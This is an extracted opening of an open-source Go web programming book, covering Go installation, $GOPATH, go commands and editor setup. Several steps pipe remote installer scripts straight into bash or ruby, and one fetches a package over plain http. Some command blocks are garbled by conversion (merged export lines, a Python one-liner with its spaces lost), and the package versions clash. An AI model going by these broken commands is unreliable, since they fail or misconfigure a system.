Broadview

package main

import "fmt"

func main() {
    fmt.Printf("Hello, world or 你好，世界 or καλημέρα κόσμε or こんにちは世界\n")
}

Go Web 编程

谢孟军 著

Go语言性能好，语法简单，开发效率高！
一起来探索Go语言吧！

电子工业出版社

Table of Contents

Build Web Application with Golang

Purpose

Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications.

- For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go.
- For those of you who are working with C/C++, you will know how the web works.

I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people.

Donate

AliPay: 

English Donate:donate

Community

QQ群：386056972

BBS：http://golanghome.com/

Acknowledgments

- 四月份平民 April Citizen (review code)
- 洪瑞琦 Hong Ruiqi (review code)
- 边 疆 BianJiang (write the configurations about Vim and Emacs for Go development)
- 欧林猫 Oling Cat(review code)
- 吴文磊 Wenlei Wu(provide some pictures)
- 北极星 Polaris(review whole book)
- 雨 痕 Rain Trail(review chapter 2 and 3)

License

Get Started

Index

1 Go Environment Configuration

Welcome to the world of Go, let's start exploring!

Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages:

- Compiles a large project within a few seconds.
- Provides a software development model that is easy to reason about, avoiding most of the problems associated with C-style header files.
- Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language.
- Performs garbage collection. It provides basic support for concurrency and communication.
- Designed for multi-core computers.

Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus was born the motivation for the Go language.

In this chapter, I will show you how to install and configure your own Go development environment.

Links

- Directory
- Next section: Installation

1.1 Installation

Three ways to install Go

There are many ways to configure the Go development environment on your computer, and you can choose whichever one you like. The three most common ways are as follows.

- Official installation packages.
  - The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. This is probably the easiest way to get started. You can get the installers from the Golang Download Page.
- Install it yourself from source code.
  - Popular with developers who are familiar with Unix-like systems.
- Using third-party tools.
  - There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac.

In case you want to install more than one version of Go on a computer, you should take a look at a tool called GVM. It is the best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself.

Install from source code

Go 1.5 completely remove the C code，Runtime、Compiler、Linker powered by Go,Achieve bootstrapping,You only need the previous version to compile go.

But before Go 1.5 some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step.

On a Mac, if you have installed Xcode, you already have the compiler.

On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows:

```
sudo apt-get install gcc libc6-dev
```

On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after the installation has completed.(***Everything that looks like this means it's commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW***)

At this point, execute the following commands to clone the Go source code and compile it.(***It will clone the source code to your current directory. Switch your work path before you continue. This may take some time.***)

```
git clone https://go.googlesource.com/go
cd go/src
./all.bash
```

A successful installation will end with the message "ALL TESTS PASSED."

On Windows, you can achieve the same by running `all.bat`.

If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems, you need to set these variables manually as follows. (***If your Go version is greater than 1.0, you don't have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section***)

```
export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOROOT/bin
```

If you see the following information on your screen, you're all set.

Figure 1.1 Information after installing from source code

Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says "no such command", check that your $PATH environment variable contains the installation path of Go.

Using the standard installation packages

Go has one-click installation packages for every supported operating system. These packages will install Go in `/usr/local/go` (`c:\Go` in Windows) by default. Of course this can be modified, but you also need to change all the environment variables manually as I've shown above.

How to check if your operating system is 32-bit or 64-bit?

Our next step depends on your operating system type, so we have to check it before we download the standard installation packages.

If you are using Windows, press `Win+R` and then run the command tool. Type the `systeminfo` command and it will show you some useful system information. Find the line that says "system type" -if you see "x64-based PC" that means your operating system is 64-bit, 32-bit otherwise.

I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit processors on Mac OSX.

Linux users can type `uname -a` in the terminal to see system information. A 64-bit operating system will show the following:

```
<some description> x86_64 x86_64 x86_64 GNU/Linux
// some machines such as Ubuntu 10.04 will show as following
x86_64 GNU/Linux
```

32-bit operating systems instead show:

```
<some description> i686 i686 i386 GNU/Linux
```

Mac

Go to the download page, choose `go1.4.2.darwin-386.pkg` for 32-bit systems and `go1.7.4.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go` . You should see the same output shown in figure 1.1.

Linux

Go to the download page, choose `go1.7.4.linux-386.tar.gz` for 32-bit systems and `go1.7.4.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.7.4.linux-amd64.tar.gz -C $GO_INSTALL_DIR` . Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin` . Now just open the terminal and type `go` . You should now see the same output displayed in figure 1.1.

Windows

Go to the download page, choose `go1.7.4.windows-386.msi` for 32-bit systems and `go1.7.4.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1.

Use third-party tools

GVM

GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It's quite easy to use. Install gvm by typing the following commands in your terminal:

```
bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)
```

Then we install Go using the following commands:

```
gvm install go1.7.4
gvm use go1.7.4
```

After the process has finished, you're all set.

apt-get

Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` to manage packages. We can install Go using the following commands.

```
sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-stable
```

wget

```
wget https://storage.googleapis.com/golang/go1.7.4.linux-amd64.tar.gz
sudo tar -xzf go1.7.4.linux-amd64.tar.gz -C /usr/local
export PATH=PATH:/usr/local/go/binexportGOROOT=HOME/go
export PATH=PATH:GOROOT/bin
export GOPATH=HOME/gowork
```

Homebrew

Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go.

1.Install Homebrew

```
    /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```

2.Install Go brew update && brew upgrade brew install go

Links

- Directory
- Previous section: Go environment configuration

- Next section: $GOPATH and workspace

1.2 $GOPATH and workspace

$GOPATH

Go takes a unique approach to manage the code files with the introduction of a `$GOPATH` directory which contains all the go code in the machine. Note that this is different from the `$GOROOT` environment variable which states where go is installed on the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called `.bashrc` we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity.

In Unix-like systems, the variable should be used like this:

```
export GOPATH=/home/apple/mygo
```

In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo` (***This value depends on where your workspace is located***)

It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:` (`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. So it is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as , and this breaks all the applications which will import your package because the `go get` won't find your package anywhere. So please follow conventions, there is a reason conventions are created

In $GOPATH, you must have three folders as follows.

- `src` for source files whose suffix is .go, .c, .g, .s.
- `pkg` for compiled files whose suffix is .a.
- `bin` for executable files

In this book, I use `mygo` as my only path in $GOPATH.

Package directory

Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) (***Author uses `mymath` as his package name, and the same name for the folder that contains the package source files***)

Every time you create a package, you should create a new folder in the `src` directory, with the notable exception of main, for which `main` folder creation is optional. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory `$GOPATH/src/github.com/astaxie/beedb` , then the package path would be `github.com/astaxie/beedb` . The package name will be the last directory in your path, which is `beedb` in this case.

Execute following commands. (***Now author goes back to talk examples***)

```
cd $GOPATH/src
mkdir mymath
```

Create a new file called `sqrt.go` , type the following content to your file.

```
// Source code of $GOPATH/src/mymath/sqrt.go
package mymath

func Sqrt(x float64) float64 {
    z := 0.0
    for i := 0; i < 1000; i++ {
        z -= (z*z - x) / (2 * x)
    }
    return z
}
```

Now my package directory has been created and it's code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files.

Compile packages

We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this.

1. Switch your work path to the directory of your package, then execute the `go install` command.
2. Execute the above command except with a file name, like `go install mymath`.

After compiling, we can open the following folder.

```
cd $GOPATH/pkg/${GOOS}_${GOARCH}
// you can see the file was generated
mymath.a
```

The file whose suffix is `.a` is the binary file of our package. How do we use it?

Obviously, we need to create a new application to use it.

Create a new application package called `mathapp`.

```
cd $GOPATH/src
mkdir mathapp
cd mathapp
vim main.go
```

Write the following content to main.go.

```
//$GOPATH/src/mathapp/main.go source code.
package main

import (
    "mymath"
    "fmt"
)

func main() {
    fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2))
}
```

To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal.

```
Hello world. Sqrt(2) = 1.414213562373095
```

Install remote packages

Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad.

```
go get github.com/astaxie/beedb
```

You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well.

This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`.

After executing the above commands, the directory structure should look like following.

```
$GOPATH
    src
     |-github.com
          |-astaxie
               |-beedb
    pkg
     |--${GOOS}_${GOARCH}
          |-github.com
               |-astaxie
                    |-beedb.a
```

Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`.

You can use remote packages in the same way that we use local packages.

```
import "github.com/astaxie/beedb"
```

Directory complete structure

If you've followed all of the above steps, your directory structure should now look like the following.

```
bin/
    mathapp
pkg/
    ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64
  mymath.a
  github.com/
    astaxie/
      beedb.a
src/
    mathapp
        main.go
    mymath/
        sqrt.go
    github.com/
        astaxie/
            beedb/
                beedb.go
                util.go
```

Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files.

(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.)

Links

- Directory
- Previous section: Installation
- Next section: Go commands

1.3 Go commands

Go commands

The Go language comes with a complete set of command operation tools. You can execute the `go` command on the terminal to see them:

Figure 1.3 Go command displays detailed information

These are all useful for us. Let's see how to use some of them.

go build

This command is for compiling tests. It will compile packages and dependencies if it's necessary.

- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you execute `go build`. If you need the package file `.a` in `$GOPATH/pkg`, use `go install` instead.
- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.`
- If there are many files in the folder, but you just want to compile one of them, you should append the file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder.
- You can also assign the name of the file that will be generated. For instance, in the `mathapp` project (in section 1.2), using `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name (non-main package) or the first source file name (main package).

(According to The Go Programming Language Specification, package names should be the name after the word `package` in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be your folder name by default.])

- `go build` ignores files whose names start with `_` or `.`.
- If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows:

  array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go

`go build` chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others.

go clean

This command is for cleaning files that are generated by compilers, including the following files:

```
_obj/            // old directory of object, left by Makefiles
_test/           // old directory of test, left by Makefiles
_testmain.go     // old directory of gotest, left by Makefiles
test.out         // old directory of test, left by Makefiles
build.out        // old directory of test, left by Makefiles
*.[568ao]        // object files, left by Makefiles

DIR(.exe)        // generated by go build
DIR.test(.exe)   // generated by go test -c
MAINFILE(.exe)   // generated by go build MAINFILE.go
```

I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control.

go fmt and gofmt

The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt <File name>.go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk more about IDEs in the next section.

`go fmt` is just an alias, which runs the command 'gofmt -l -w' on the packages named by the import paths.

We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project.

go get

This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools.

```
BitBucket (Mercurial Git)
Github (git)
Google Code (Git, Mercurial, Subversion)
Launchpad (Bazaar)
```

In order to use this command, you have to install these tools correctly. Don't forget to update the `$PATH` variable. By the way, it also supports customized domain names. Use `go help importpath` for more details about this.

go install

This command compiles all packages and generates files, then moves them to `$GOPATH/pkg` or `$GOPATH/bin`.

go test

This command loads all files whose name include `*_test.go` and generates test files, then prints information that looks like the following.

```
ok   archive/tar   0.011s
FAIL archive/zip   0.022s
ok   compress/gzip 0.033s
...
```

It tests all your test files by default. Use command `go help testflag` for more details.

godoc

Many people say that we don't need any third-party documentation for programming in Go (actually I've made a CHM already). Go has a powerful tool to manage documentation natively.

So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `godoc builtin` command. Similarly, use the `godoc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code.

Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China.

Other commands

Go provides more commands than those we've just talked about.

```
go fix // upgrade code from an old version before go1 to a new version after go1
go version // get information about your version of Go
go env // view environment variables about Go
go list // list all installed packages
go run // compile temporary files and run the application
```

There are also more details about the commands that I've talked about. You can use `go help <command>` to look them up.

Links

- Directory
- Previous section: $GOPATH and workspace
- Next section: Go development tools

Go development tools

In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system.

LiteIDE

LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc.

Figure 1.4 Main panel of LiteIDE

LiteIDE features.

- Cross-platform
  - Windows
  - Linux
  - Mac OS
- Cross-compile
  - Manage multiple compile environments
  - Supports cross-compilation of Go
- Project management standard
  - Documentation view based on $GOPATH
  - Compilation system based on $GOPATH
  - API documentation index based on $GOPATH
- Go source code editor
  - Code outlining
  - Full support of gocode
  - Go documentation view and API index
  - View code expression using `F1`
  - Function declaration jump using `F2`
  - Gdb support
  - Auto-format with `gofmt`
- Others
  - Multi-language
  - Plugin system
  - Text editor themes
  - Syntax support based on Kate
  - intelligent completion based on full-text
  - Customized shortcuts
  - Markdown support
    - Real-time preview
    - Customized CSS
    - Export HTML and PDF
    - Convert and merge to HTML and PDF

LiteIDE installation

- Install LiteIDE
  - Download page

- Source code

  You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it.

- Install gocode

  You have to install gocode in order to use intelligent completion

  ```
  go get -u github.com/nsf/gocode
  ```

- Compilation environment

  Switch configuration in LiteIDE to suit your operating system. In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open file `win64.env` in the right list.

  ```
  GOROOT=c:\go
  GOBIN=
  GOARCH=amd64
  GOOS=windows
  CGO_ENABLED=1

  PATH=%GOBIN%;%GOROOT%\bin;%PATH%
  ◦ ◦ ◦
  ```

  Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support.

  In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list.

  ```
  GOROOT=$HOME/go
  GOBIN=
  GOARCH=amd64
  GOOS=linux
  CGO_ENABLED=1

  PATH=$GOBIN:$GOROOT/bin:$PATH
  ◦ ◦ ◦
  ```

  Replace `GOROOT=$HOME/go` to your Go installation path, save it.

- $GOPATH $GOPATH is the path that contains a list of projects. Open the command tool (or press `Ctrl+`` in LiteIDE), then type `go help gopath` for more details. It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values.

Sublime Text

Here I'm going to introduce you the Sublime Text 3 (Sublime for short) + GoSublime + gocode. Let me explain why.

- Intelligent completion

  

  Figure 1.5 Sublime intelligent completion

- Auto-format source files
- Project management

  

Figure 1.6 Sublime project management

- Syntax highlight
- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development!

First, download the version of Sublime suitable for your operating system.

1. Press `Ctrl+`` , open the command tool and input the following commands.

   Applicable to Sublime Text 3：

```
    import  urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.reque
st.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(u
rllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())
```

Applicable to Sublime Text 2：

```
    import  urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifn
otos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(
ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart
Sublime Text to finish installation')
```

```
Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Pref
erences" menu.

![](images/1.4.sublime3.png?raw=true)

Figure 1.7 Sublime Package Control
```

1. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package").

   Figure 1.8 Sublime Install Packages

   Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation.

2. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"` , type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled.

   If everything is fine, you're all set.

   If not, check your $PATH again. Open a terminal, type `gocode` . If it does not run, your $PATH was not configured correctly.

Vim

Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors.

vim-go is vim above an open-source go language using the most extensive development environment plug-ins

The plugin address：github.com/fatih/vim-go

Vim plugin management are the mainstream Pathogen and Vundle ，But the aspects thereof are different. Pathogen is to solve each plug-in after the installation of files scattered to multiple directories and poor management of the existence. Vundle is to solve the automatic search and download plug-ins exist. These two plug-ins can be used simultaneously.

1.Install Vundle

```
mkdir ~/.vim/bundle
git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim
```

Edit .vimrc，Vundle the relevant configuration will be placed in the beginning(Refer to the Vundle documentation for details)

```
set nocompatible              " be iMproved, required
filetype off                  " required

" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

" let Vundle manage Vundle, required
Plugin 'gmarik/Vundle.vim'

" All of your Plugins must be added before the following line
call vundle#end()            " required
filetype plugin indent on    " required
```

2.Install Vim-go

Edit ~/.vimrc，Add a line between vundle #begin and vundle #end：

```
Plugin 'fatih/vim-go'
```

Executed within Vim: PluginInstall

3.Install YCM(Your Complete Me) to AutoComplete Add a line to ~ / .vimrc:

```
Plugin 'Valloric/YouCompleteMe'
```

Executed within Vim: PluginInstall

Figure 1.8 Vim intelligent completion for Go

1. Syntax highlighting for Go

   ```
   cp -r $GOROOT/misc/vim/* ~/.vim/
   ```

2. Enabling syntax highlighting

   ```
   filetype plugin indent on
   syntax on
   ```

3. Install gocode

   ```
   go get -u github.com/nsf/gocode
   ```

   gocode will be installed in `$GOBIN` as default

4. Configure gocode

```
~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.sh
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"
```

   Explanation of gocode configuration:

   propose-builtins: specifies whether or not to open intelligent completion; false by default. lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths.

5. Congratulations! Try `:e main.go` to experience the world of Go!

Emacs

Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE.

Figure 1.10 Emacs main panel of Go editor

1. Syntax highlighting

```
cp $GOROOT/misc/emacs/* ~/.emacs.d/
```

2. Install gocode

```
go get -u github.com/nsf/gocode
```

   gocode will be installed in `$GOBIN` as default

3. Configure gocode

```
~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"
```

4. Install Auto Completion Download and uncompress

```
~ make install DIR=$HOME/.emacs.d/auto-complete
```

   Configure ~/.emacs file

```
;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)
```

Follow this link for more details.

5. Configure .emacs

```
;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
    ;; gocode
    (auto-complete-mode 1)
    (setq ac-sources '(ac-source-go))
    ;; Imenu & Speedbar
    (setq imenu-generic-expression
        '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1)
        ("func" "^func *\\(.*\\) {" 1)))
    (imenu-add-to-menubar "Index")
    ;; Outline mode
    (make-local-variable 'outline-regexp)
    (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
    (outline-minor-mode 1)
    (local-set-key "\M-a" 'outline-previous-visible-heading)
    (local-set-key "\M-e" 'outline-next-visible-heading)
    ;; Menu bar
    (require 'easymenu)
    (defconst go-hooked-menu
        '("Go tools"
        ["Go run buffer" go t]
        ["Go reformat buffer" go-fmt-buffer t]
        ["Go check buffer" go-fix-buffer t]))
    (easy-menu-define
        go-added-menu
        (current-local-map)
        "Go tools"
        go-hooked-menu)

    ;; Other
    (setq show-trailing-whitespace t)
    ))
;; helper function
(defun go ()
    "run current buffer"
    (interactive)
    (compile (concat "go run " (buffer-file-name))))

;; helper function
(defun go-fmt-buffer ()
    "run gofmt on current buffer"
    (interactive)
    (if buffer-read-only
    (progn
        (ding)
        (message "Buffer is read only"))
    (let ((p (line-number-at-pos))
    (filename (buffer-file-name))
    (old-max-mini-window-height max-mini-window-height))
        (show-all)
        (if (get-buffer "*Go Reformat Errors*")
```

```
      (progn
          (delete-windows-on "*Go Reformat Errors*")
          (kill-buffer "*Go Reformat Errors*")))
          (setq max-mini-window-height 1)
          (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Refor
mat Errors*" t))
      (progn
          (erase-buffer)
          (insert-buffer-substring "*Go Reformat Output*")
          (goto-char (point-min))
          (forward-line (1- p)))
      (with-current-buffer "*Go Reformat Errors*"
      (progn
          (goto-char (point-min))
          (while (re-search-forward "<standard input>" nil t)
          (replace-match filename))
          (goto-char (point-min))
          (compilation-mode))))
          (setq max-mini-window-height old-max-mini-window-height)
          (delete-windows-on "*Go Reformat Output*")
          (kill-buffer "*Go Reformat Output*"))))
  ;; helper function
  (defun go-fix-buffer ()
      "run gofix on current buffer"
      (interactive)
      (show-all)
      (shell-command-on-region (point-min) (point-max) "go tool fix -diff"))
```

6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`.

Eclipse

Eclipse is also a great development tool. I'll show you how to use it to write Go programs.

Figure 1.1 Eclipse main panel for editing Go

1. Download and install Eclipse
2. Download goclipse http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. Download gocode

   gocode in Github.

   ```
   https://github.com/nsf/gocode
   ```

   You need to install git in Windows, usually we use msysgit

   Install gocode in the command tool

   ```
   go get -u github.com/nsf/gocode
   ```

   You can install from source code if you like.

4. Download and install MinGW
5. Configure plugins.

   Windows->Preferences->Go

   (1).Configure Go compiler

   

Figure 1.12 Go Setting in Eclipse

(2).Configure gocode(optional), set gocode path to where the gocode.exe is.

Figure 1.13 gocode Setting

(3).Configure gdb(optional), set gdb path to where the gdb.exe is.

Figure 1.14 gdb Setting

6. Check the installation

   Create a new Go project and hello.go file as following.

   Figure 1.15 Create a new project and file

   Test installation as follows.(you need to type command in console in Eclipse)

   Figure 1.16 Test Go program in Eclipse

IntelliJ IDEA

People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin.

1. Download IDEA, there is no difference between the Ultimate and Community editions

2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`.

3. Search `golang`, double click `download and install` and wait for the download to complete.

   Click `Apply`, then restart.

4. Now you can create a Go project.

   Input the position of your Go sdk in the next step -basically it's your $GOROOT.

(***See a blog post for setup and use IntelliJ IDEA with Go step by step***)

Visual Studio VSCode

This is an awesome text editor released as open source cross platform my Microsoft which takes the development experience to a while new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast.

It works with Windows, Mac, Linux. It has go package built, it provides code linting.

Atom

Atom is an awesome text editor released as open source cross platform, built on Electron , and based on everything we love about our favorite editors. We designed it to be deeply customizable, but still approachable using the default configuration.

Download: https://atom.io/

Gogland

Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development.

The official version is not yet released ◦

Download:https://www.jetbrains.com/go/

Links

- Directory
- Previous section: Go commands
- Next section: Summary

1.5 Summary

In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, Goglang, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go.

Links

- Directory
- Previous section: Go development tools
- Next chapter: Go basic knowledge

2 Go basic knowledge

Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's take a look at these keywords before we get started.

```
break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var
```

In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords.

Links

- Directory
- Previous chapter: Chapter 1 Summary
- Next section: "Hello, Go"

What makes Go different from other languages?

The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the `gofmt` tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer base, in other languages there are religious wars on where to keep the opening brace?

```
public static void main() {

}

or
public static void main()
{

}
```

or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences.

While this might seem to be a shallow problem at the top, but when the codebase grows and more and more people are working on the same code base, then it is difficult to maintain the code's "beauty", if you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code.

